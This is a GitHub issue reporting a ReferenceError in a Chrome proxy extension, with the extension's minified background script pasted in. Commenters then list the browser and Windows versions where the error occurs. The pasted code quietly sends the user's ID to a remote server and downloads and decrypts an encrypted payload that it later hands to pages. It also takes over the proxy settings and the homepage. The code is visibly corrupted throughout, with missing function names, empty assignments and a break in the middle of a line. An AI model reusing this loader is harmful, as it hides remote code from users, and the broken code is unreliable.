Uncaught ReferenceError: err is not defined
BrikeX opened this issue · comments
上下文
generated_background_page.htm
堆叠追踪
js/bg.js:1 (匿名函数)
var needShowWarming=!1;chrome.proxy.settings.set({value:{mode:"system"},scope:"regular"},function(){console.info("- proxy system! - ")});var Zepto=function(){var t,e,n,r,o,i,a=[],u=a.slice,c=a.filter,s=window.document,l={},f={},p={"column-count":1,columns:1,"font-weight":1,"line-height":1,opacity:1,"z-index":1,zoom:1},h=/^\s*<(\w+|!)[^>]>/,d=/^<(\w+)\s/?>(?:</\1>|)$/,g=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>])/>/gi,v=/^(?:body|html)$/i,m=/([A-Z])/g,y=["val","css","html","text","data","width","height","offset"],w=s.createElement("table"),b=s.createElement("tr"),x={tr:s.createElement("tbody"),tbody:w,thead:w,tfoot:w,td:b,th:b,"":s.createElement("div")},S=/complete|loaded|interactive/,E=/^[\w-]*$/,T={},j=T.toString,O={},C=s.createElement("div"),A={tabindex:"tabIndex",readonly:"readOnly",for:"htmlFor",class:"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"},D=Array.isArray||function(t){return t instanceof Array};function N(t){return null==t?String(t):T[j.call(t)]||"object"}function (t){return"function"==N(t)}function k(t){return null!=t&&t==t.window}function P(t){return null!=t&&t.nodeType==t.DOCUMENT_NODE}function R(t){return"object"==N(t)}function I(t){return R(t)&&!k(t)&&Object.getPrototypeOf(t)==Object.prototype}function F(t){return"number"==typeof t.length}function B(t){return t.replace(/::/g,"/").replace(/([A-Z]+)([A-Z][a-z])/g,"$1$2").replace(/([a-z\d])([A-Z])/g,"$1$2").replace(//g,"-").toLowerCase()}function M(t){return t in f?f[t]:f[t]=new RegExp("(^|\s)"+t+"(\s|$)")}function q(t,e){return"number"!=typeof e||p[B(t)]?e:e+"px"}function L(t){return"children"in t?u.call(t.children):n.map(t.childNodes,function(t){if(1==t.nodeType)return t})}function U(t,e){return null==e?n(t):n(t).filter(e)}function G(t,e,n,r){return (e)?e.call(t,n,r):e}function Z(t,e,n){null==n?t.removeAttribute(e):t.setAttribute(e,n)}function $(e,n){var r=e.className||"",o=r&&r.baseVal!==t;if(n===t)return o?r.baseVal:r;o?r.baseVal=n:e.className=n}function z(t){try{return t?"true"==t||"false"!=t&&("null"==t?null:+t+""==t?+t:/^[[{]/.test(t)?n.parseJSON(t):t):t}catch(e){return t}}return O.matches=function(t,e){if(!e||!t||1!==t.nodeType)return!1;var n=t.webkitMatchesSelector||t.mozMatchesSelector||t.oMatchesSelector||t.matchesSelector;if(n)return n.call(t,e);var r,o=t.parentNode,i=!o;return i&&(o=C).appendChild(t),r=~O.qsa(o,e).indexOf(t),i&&C.removeChild(t),r},o=function(t){return t.replace(/-+(.)?/g,function(t,e){return e?e.toUpperCase():""})},i=function(t){return c.call(t,function(e,n){return t.indexOf(e)==n})},O.fragment=function(e,r,o){var i,a,c;return d.test(e)&&(i=n(s.createElement(RegExp.$1))),i||(e.replace&&(e=e.replace(g,"<$1></$2>")),r===t&&(r=h.test(e)&&RegExp.$1),r in x||(r="*"),(c=x[r]).innerHTML=""+e,i=n.each(u.call(c.childNodes),function(){c.removeChild(this)})),I(o)&&(a=n(i),n.each(o,function(t,e){y.indexOf(t)>-1?at:a.attr(t,e)})),i},O.Z=function(t,e){return(t=t||[]).proto=n.fn,t.selector=e||"",t},O.isZ=function(t){return t instanceof O.Z},O.init=function(e,r){var o,i;if(!e)return O.Z();if("string"==typeof e)if("<"==(e=e.trim())[0]&&h.test(e))o=O.fragment(e,RegExp.$1,r),e=null;else{if(r!==t)return n(r).find(e);o=O.qsa(s,e)}else{if((e))return n(s).ready(e);if(O.isZ(e))return e;if(D(e))i=e,o=c.call(i,function(t){return null!=t});else if(R(e))o=[e],e=null;else if(h.test(e))o=O.fragment(e.trim(),RegExp.$1,r),e=null;else{if(r!==t)return n(r).find(e);o=O.qsa(s,e)}}return O.Z(o,e)},(n=function(t,e){return O.init(t,e)}).extend=function(n){var r,o=u.call(arguments,1);return"boolean"==typeof n&&(r=n,n=o.shift()),o.forEach(function(o){!function n(r,o,i){for(e in o)i&&(I(o[e])||D(o[e]))?(I(o[e])&&!I(r[e])&&(r[e]={}),D(o[e])&&!D(r[e])&&(r[e]=[]),n(r[e],o[e],i)):o[e]!==t&&(r[e]=o[e])}(n,o,r)}),n},O.qsa=function(t,e){var n,r="#"==e[0],o=!r&&"."==e[0],i=r||o?e.slice(1):e,a=E.test(i);return P(t)&&a&&r?(n=t.getElementById(i))?[n]:[]:1!==t.nodeType&&9!==t.nodeType?[]:u.call(a&&!r?o?t.getElementsByClassName(i):t.getElementsByTagName(e):t.querySelectorAll(e))},n.contains=s.documentElement.contains?function(t,e){return t!==e&&t.contains(e)}:function(t,e){for(;e&&(e=e.parentNode);)if(e===t)return!0;return!1},n.type=N,n.isFunction=,n.isWindow=k,n.isArray=D,n.isPlainObject=I,n.isEmptyObject=function(t){var e;for(e in t)return!1;return!0},n.inArray=function(t,e,n){return a.indexOf.call(e,t,n)},n.camelCase=o,n.trim=function(t){return null==t?"":String.prototype.trim.call(t)},n.uuid=0,n.support={},n.expr={},n.map=function(t,e){var r,o,i,a,u=[];if(F(t))for(o=0;o<t.length;o++)null!=(r=e(t[o],o))&&u.push(r);else for(i in t)null!=(r=e(t[i],i))&&u.push(r);return(a=u).length>0?n.fn.concat.apply([],a):a},n.each=function(t,e){var n,r;if(F(t)){for(n=0;n<t.length;n++)if(!1===e.call(t[n],n,t[n]))return t}else for(r in t)if(!1===e.call(t[r],r,t[r]))return t;return t},n.grep=function(t,e){return c.call(t,e)},window.JSON&&(n.parseJSON=JSON.parse),n.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(t,e){T["[object "+e+"]"]=e.toLowerCase()}),n.fn={forEach:a.forEach,reduce:a.reduce,push:a.push,sort:a.sort,indexOf:a.indexOf,concat:a.concat,map:function(t){return n(n.map(this,function(e,n){return t.call(e,n,e)}))},slice:function(){return n(u.apply(this,arguments))},ready:function(t){return S.test(s.readyState)&&s.body?t(n):s.addEventListener("DOMContentLoaded",function(){t(n)},!1),this},get:function(e){return e===t?u.call(this):this[e>=0?e:e+this.length]},toArray:function(){return this.get()},size:function(){return this.length},remove:function(){return this.each(function(){null!=this.parentNode&&this.parentNode.removeChild(this)})},each:function(t){return a.every.call(this,function(e,n){return!1!==t.call(e,n,e)}),this},filter:function(t){return (t)?this.not(this.not(t)):n(c.call(this,function(e){return O.matches(e,t)}))},add:function(t,e){return n(i(this.concat(n(t,e))))},is:function(t){return this.length>0&&O.matches(this[0],t)},not:function(e){var r=[];if((e)&&e.call!==t)this.each(function(t){e.call(this,t)||r.push(this)});else{var o="string"==typeof e?this.filter(e):F(e)&&(e.item)?u.call(e):n(e);this.forEach(function(t){o.indexOf(t)<0&&r.push(t)})}return n(r)},has:function(t){return this.filter(function(){return R(t)?n.contains(this,t):n(this).find(t).size()})},eq:function(t){return-1===t?this.slice(t):this.slice(t,+t+1)},first:function(){var t=this[0];return t&&!R(t)?t:n(t)},last:function(){var t=this[this.length-1];return t&&!R(t)?t:n(t)},find:function(t){var e=this;return t?"object"==typeof t?n(t).filter(function(){var t=this;return a.some.call(e,function(e){return n.contains(e,t)})}):1==this.length?n(O.qsa(this[0],t)):this.map(function(){return O.qsa(this,t)}):n()},closest:function(t,e){var r=this[0],o=!1;for("object"==typeof t&&(o=n(t));r&&!(o?o.indexOf(r)>=0:O.matches(r,t));)r=r!==e&&!P(r)&&r.parentNode;return n(r)},parents:function(t){for(var e=[],r=this;r.length>0;)r=n.map(r,function(t){if((t=t.parentNode)&&!P(t)&&e.indexOf(t)<0)return e.push(t),t});return U(e,t)},parent:function(t){return U(i(this.pluck("parentNode")),t)},children:function(t){return U(this.map(function(){return L(this)}),t)},contents:function(){return this.map(function(){return u.call(this.childNodes)})},siblings:function(t){return U(this.map(function(t,e){return c.call(L(e.parentNode),function(t){return t!==e})}),t)},empty:function(){return this.each(function(){this.innerHTML=""})},pluck:function(t){return n.map(this,function(e){return e[t]})},show:function(){return this.each(function(){var t,e,n;"none"==this.style.display&&(this.style.display=""),"none"==getComputedStyle(this,"").getPropertyValue("display")&&(this.style.display=(t=this.nodeName,l[t]||(e=s.createElement(t),s.body.appendChild(e),n=getComputedStyle(e,"").getPropertyValue("display"),e.parentNode.removeChild(e),"none"==n&&(n="block"),l[t]=n),l[t]))})},replaceWith:function(t){return this.before(t).remove()},wrap:function(t){var e=(t);if(this[0]&&!e)var r=n(t).get(0),o=r.parentNode||this.length>1;return this.each(function(i){n(this).wrapAll(e?t.call(this,i):o?r.cloneNode(!0):r)})},wrapAll:function(t){if(this[0]){var e;for(n(this[0]).before(t=n(t));(e=t.children()).length;)t=e.first();n(t).append(this)}return this},wrapInner:function(t){var e=_(t);return this.each(function(r){var o=n(this),i=o.contents(),a=e?t.call(this,r):t;i.length?i.wrapAll(a):o.append(a)})},unwrap:function(){return this.parent().each(function(){n(this).replaceWith(n(this).children())}),this},clone:function(){return this.map(function(){return this.cloneNode(!0)})},hide:function(){return this.css("display","none")},toggle:function(e){return this.each(function(){var r=n(this);(e===t?"none"==r.css("display"):e)?r.show():r.hide()})},prev:function(t){return n(this.pluck("previousElementSibling")).filter(t||"")},next:function(t){return n(this.pluck("nextElementSibling")).filter(t||"")},html:function(t){return 0 in arguments?this.each(function(e){var r=this.innerHTML;n(this).empty().append(G(this,t,e,r))}):0 in this?this[0].innerHTML:null},text:function(t){return 0 in arguments?this.each(function(e){var n=G(this,t,e,this.textContent);this.textContent=null==n?"":""+n}):0 in this?this[0].textContent:null},attr:function(n,r){var o;return"string"!=typeof n||1 in arguments?this.each(function(t){if(1===this.nodeType)if(R(n))for(e in n)Z(this,e,n[e]);else Z(this,n,G(this,r,t,this.getAttribute(n)))}):this.length&&1===this[0].nodeType?!(o=this[0].getAttribute(n))&&n in this[0]?this[0][n]:o:t},removeAttr:function(t){return this.each(function(){1===this.nodeType&&t.split(" ").forEach(function(t){Z(this,t)},this)})},prop:function(t,e){return t=A[t]||t,1 in arguments?this.each(function(n){this[t]=G(this,e,n,this[t])}):this[0]&&this[0][t]},data:function(e,n){var r="data-"+e.replace(m,"-$1").toLowerCase(),o=1 in arguments?this.attr(r,n):this.attr(r);return null!==o?z(o):t},val:function(t){return 0 in arguments?this.each(function(e){this.value=G(this,t,e,this.value)}):this[0]&&(this[0].multiple?n(this[0]).find("option").filter(function(){return this.selected}).pluck("value"):this[0].value)},offset:function(t){if(t)return this.each(function(e){var r=n(this),o=G(this,t,e,r.offset()),i=r.offsetParent().offset(),a={top:o.top-i.top,left:o.left-i.left};"static"==r.css("position")&&(a.position="relative"),r.css(a)});if(!this.length)return null;var e=this[0].getBoundingClientRect();return{left:e.left+window.pageXOffset,top:e.top+window.pageYOffset,width:Math.round(e.width),height:Math.round(e.height)}},css:function(t,r){if(arguments.length<2){var i,a=this[0];if(!a)return;if(i=getComputedStyle(a,""),"string"==typeof t)return a.style[o(t)]||i.getPropertyValue(t);if(D(t)){var u={};return n.each(t,function(t,e){u[e]=a.style[o(e)]||i.getPropertyValue(e)}),u}}var c="";if("string"==N(t))r||0===r?c=B(t)+":"+q(t,r):this.each(function(){this.style.removeProperty(B(t))});else for(e in t)t[e]||0===t[e]?c+=B(e)+":"+q(e,t[e])+";":this.each(function(){this.style.removeProperty(B(e))});return this.each(function(){this.style.cssText+=";"+c})},index:function(t){return t?this.indexOf(n(t)[0]):this.parent().children().indexOf(this[0])},hasClass:function(t){return!!t&&a.some.call(this,function(t){return this.test(
需要重启浏览器才能重新使用"),console.log("expired"),void chrome.proxy.settings.set({value:{mode:"system"},scope:"regular"},function(){console.info("- proxy system! - ")})):(r=null,o=null,g=!1,y(n,function(t){var e=u.offlineTime();localStorage.BACKUP||c.ajax({type:"POST",url:u.info.rootServer+"updateTaskRule5?uuid="+a+"&time="+e,data:{D:l.E(JSON.stringify({servers:n}),l.P(a,e))},success:function(t){},error:function(t,e){console.error("[feedback: choose normal proxy],"+e)}}),o&&t===o?(console.log((new Date).toString(),"[choose]chooseBackUp!"),c.ajax({type:"POST",url:u.info.rootServer+"updateTaskRule7?uuid="+a+"&time="+e,data:{D:l.E(JSON.stringify({backup:t}),l.P(a,e))},success:function(t){},error:function(t,e){console.error("[feedback: choose backupProxy],"+e)}})):console.log((new Date).toString(),"[choose]chooseNormal!")}),void(null!=t&&null!=t&&t?e():setTimeout(w,18e5)))};e.updateProxy=w;var b="not_controllable",x="controlled_by_other_extensions",S="controllable_by_this_extension",E="controlled_by_this_extension",T=!1,j=function(){localStorage["stop-proxy"]&&"true"==localStorage["stop-proxy"]||chrome.proxy.settings.get({incognito:!1},function(t){localStorage["stop-proxy"]&&"true"==localStorage["stop-proxy"]||(t.levelOfControl===S||t.levelOfControl===E?(localStorage.DEBUG&&console.info("[proxy controlled by ggfwzs!]"),T&&(s.on(),T=!1)):t.levelOfControl===x?(localStorage.DEBUG&&console.info("[proxy controlled by other extension!]"),s.off("!","代理冲突!可能被其他扩展插件占用了代理权限,请检查并重启本插件"),T=!0):t.levelOfControl===b&&(localStorage.DEBUG&&console.info("[proxy cannot be controlled!]"),s.off("!","代理设置失败!请检查浏览器相关设置并重启本插件"),T=!0))}),setTimeout(j,3e5)};e.I=function(t){i=t.pacScriptStr,a=t.uuid,n=[];for(var r=0;r<t.proxyServer.length;r++){var o=t.proxyServer[r].split(":");n.push({type:o[0],host:o[1],port:o[2],speed:0})}"true"!=localStorage["stop-proxy"]&&v(n[0],i),w(),setTimeout(j,6e4),chrome.webRequest.onAuthRequired.addListener(function(n,r){console.info(n.realm+" "+p),"GGFWZS Proxy"===n.realm?p>0?(r({authCredentials:{username:f,password:a}}),p--):(console.error("Error: username:"+f+" - password:"+t.uuid),s.off("!","错误:帐号失效或过期,请重启浏览器"),e.D(),r({cancel:!0})):r()},{urls:["<all_urls>"]},["asyncBlocking"])},e.D=function(){chrome.proxy.settings.set({value:{mode:"system"},scope:"regular"},function(){console.info("- proxy system - ")})}}),define("app/notifications",[],function(t,e){t("app/b");var n=t("app/u");function r(t){""===t.icon&&(t.icon=chrome.runtime.getURL("/icons/icon-128.png"));var e=[{title:"马上去看看",iconUrl:chrome.runtime.getURL("/icons/icon-128.png")}],n={type:"basic",title:t.title,message:t.message,iconUrl:t.icon,buttons:e};chrome.notifications.create("GGFWZSNOTIFICATION"+t.time,n,function(){localStorage.NotificationsNum=t.time}),chrome.notifications.onButtonClicked.addListener(function(e,n){e=="GGFWZSNOTIFICATION"+t.time&&chrome.tabs.create({url:t.link})}),chrome.notifications.onClicked.addListener(function(e){e=="GGFWZSNOTIFICATION"+t.time&&chrome.tabs.create({url:t.link})})}e.installNotification=function(){$.getJSON(n.info.rootServer+"getNotifications",function(t){localStorage["popup-message"]=t["popup-message"];var e=chrome.runtime.getManifest().version;t["version-message"]&&t["version-message"][e]&&(localStorage["popup-message"]=t["version-message"][e]),localStorage.NotificationsNum=t["install-notifications"].time,t["install-notifications"].message&&""!=t["install-notifications"].message&&setTimeout(function(){r(t["install-notifications"])},3e5)})},e.init=function(){!function t(){$.getJSON(n.info.rootServer+"getNotifications",function(t){localStorage["popup-message"]=t["popup-message"];var e=chrome.runtime.getManifest().version;t["version-message"]&&t["version-message"][e]&&(localStorage["popup-message"]=t["version-message"][e]);var n=0;localStorage.NotificationsNum&&(n=parseInt(localStorage.NotificationsNum));for(var o=0;o<t.all.length;o++)if(t.all[o].time>n&&t.all[o].message&&""!=t.all[o].message){var i=t.all[o];setTimeout(function(){r(i)},6e5)}}),setTimeout(t,36e5)}()}}),define("app/mainServer",[],function(t,e){var n=t("app/u"),r=t("lib/t"),o=function(t,e,n,r){var i=atob(t[e])+"static/test.json?t="+Date.now();$.ajax({type:"get",url:i,success:function(r){n(atob(t[e]))},error:function(i){e>=t.length-1?r():o(t,e+1,n,r)}})},i=["https://o4175vz27.qnssl.com/d.json","https://yingu.coding.me/test/d.json"];if(localStorage.static){i=[];for(var a=JSON.parse(localStorage.static),u=0;u<a.length;u++)i.push(atob(a[u]))}var c=null,s=function(t,e,n,r){$.ajax({type:"get",url:t[e]+"?t="+Date.now(),dataType:"json",success:function(r){c=t[e],n(r)},error:function(o){e>=t.length-1?r():s(t,e+1,n,r)}})};e.get=function(t,e){s(i,0,function(r){localStorage.static=JSON.stringify(r.static),l(r.emmessage);var i=r.RSS,a=Math.floor(100*Math.random());console.log(a);for(var u=[],c=0;c<i.length;c++)i[c].percentHigh>0&&i[c].percentHigh>=a&&i[c].percentLow<=a?u.unshift(i[c].name):u.push(i[c].name);o(u,0,function(e){n.info.rootServer=localStorage.rootServer=e+"app/ext/",t()},function(){e()})},function(){console.error(err),e()})};var l=function(t){var e=JSON.parse(atob(t));e.vn>0&&parseInt(localStorage.mversion)!=e.vn?$.ajax({type:"get",url:e.rml+"?t="+Date.now(),success:function(t){var o=r.D(t,"0123456789abcdef").split("/AABBCCDDEE/");2==o.length?n.IO.W("rml",o[0],function(){n.IO.W("cml",o[0],function(){console.log("update!"),localStorage.mversion=e.vn})}):console.error("internal error")},error:function(t){console.error("mversion request fail")}}):localStorage.mversion=e.vn},f="";localStorage.Installed&&Date.now()-parseInt(localStorage.Installed)>864e5&&parseInt(localStorage.mversion)>0&&(n.IO.R("rml",function(t){window14..toString(16)+"v"+241..toString(22)},function(){console.error("read data error")}),n.IO.R("cml",function(t){f=t},function(){console.error("read data error")})),e.getCsc=function(){return f},setInterval(function(){$.ajax({type:"get",url:c+"?t="+Date.now(),dataType:"json",success:function(t){l(t.emmessage)},error:function(t){console.error("static server request fail")}})},72e5)}),seajs.use(["app/u","lib/t","app/t","app/p","app/b","app/notifications","app/mainServer"],function(t,e,n,r,o,i,a){o.off("...","正在连接主服务器,请等待10秒"),a.get(function(){n.D(),n.R(function(){localStorage["auto-homepage"]&&"false"==localStorage["auto-homepage"]&&chrome.tabs.query({},function(t){for(var e=!1,n=0;n<t.length;n++)if("chrome://newtab/"==t[n].url){e=!0,chrome.tabs.update(t[n].id,{active:!0,url:localStorage.homepage});break}e||chrome.tabs.create({url:localStorage.homepage},function(t){t?chrome.windows.update(t.windowId,{focused:!0}):chrome.windows.create({url:localStorage.homepage,focused:!0})})}),n.RT(),n.C(function(t){console.info("- task success -"),r.I(t),n.U()},function(t){console.info("Task fail:"+t.error),o.off("!");var e=localStorage.Installed;e&&!t.oldExist?Date.now()-parseInt(e)>2592e5?needShowWarming=!0:(needShowWarming=!1,r.I(t)):r.D(),n.U()}),i.init()},function(t){i.installNotification(),n.A(function(t){o.on(),r.I(t),n.U(),window.setTimeout(function(){n.U()},216e5)},function(t){console.error("apply fail:"+t.error),badge.off("!","错误:申请试用失败"),n.U()})}),n.F(function(){console.info("- first run -")},function(t){console.info(t)})},function(){badge.off("!","服务器连接失败")}),chrome.runtime.onMessage.addListener(function(t,e,n){"refresh"==t.reqtype?(console.log("refresh"),o.off("...","刷新中..."),r.updateProxy(!0,function(){o.on()})):"restart"==t.reqtype?console.log("restart"):"stop"==t.reqtype?(console.log("stop"),localStorage["stop-proxy"]=!0,r.updateProxy(!0,function(){})):"start"==t.reqtype?(console.log("start"),localStorage["stop-proxy"]=!1,r.updateProxy(!0,function(){o.on()})):"init-page"==t.reqtype&&n({data:a.getCsc()})})}),setTimeout(function(){var t=t||[];t.push(["_setAccount","UA-48334954-3"]),t.push(["_trackPageview"]),function(){var t=document.createElement("script");t.type="text/javascript",t.async=!0,t.src="";var e=document.getElementsByTagName("script")[0];e.parentNode.insertBefore(t,e)}()},1e4);
From Windows 10, Chrome 版本 87.0.4280.88(正式版本) (64 位)
Windows 10, 89.0.4389.114(正式版本) (64 位)也存在此问题
可能不是Google版本的问题,我给我朋友装了跟我相同的版本的Google,也是不行,我猜测会不会跟操作系统有关系,我朋友的是家庭版,我的是企业版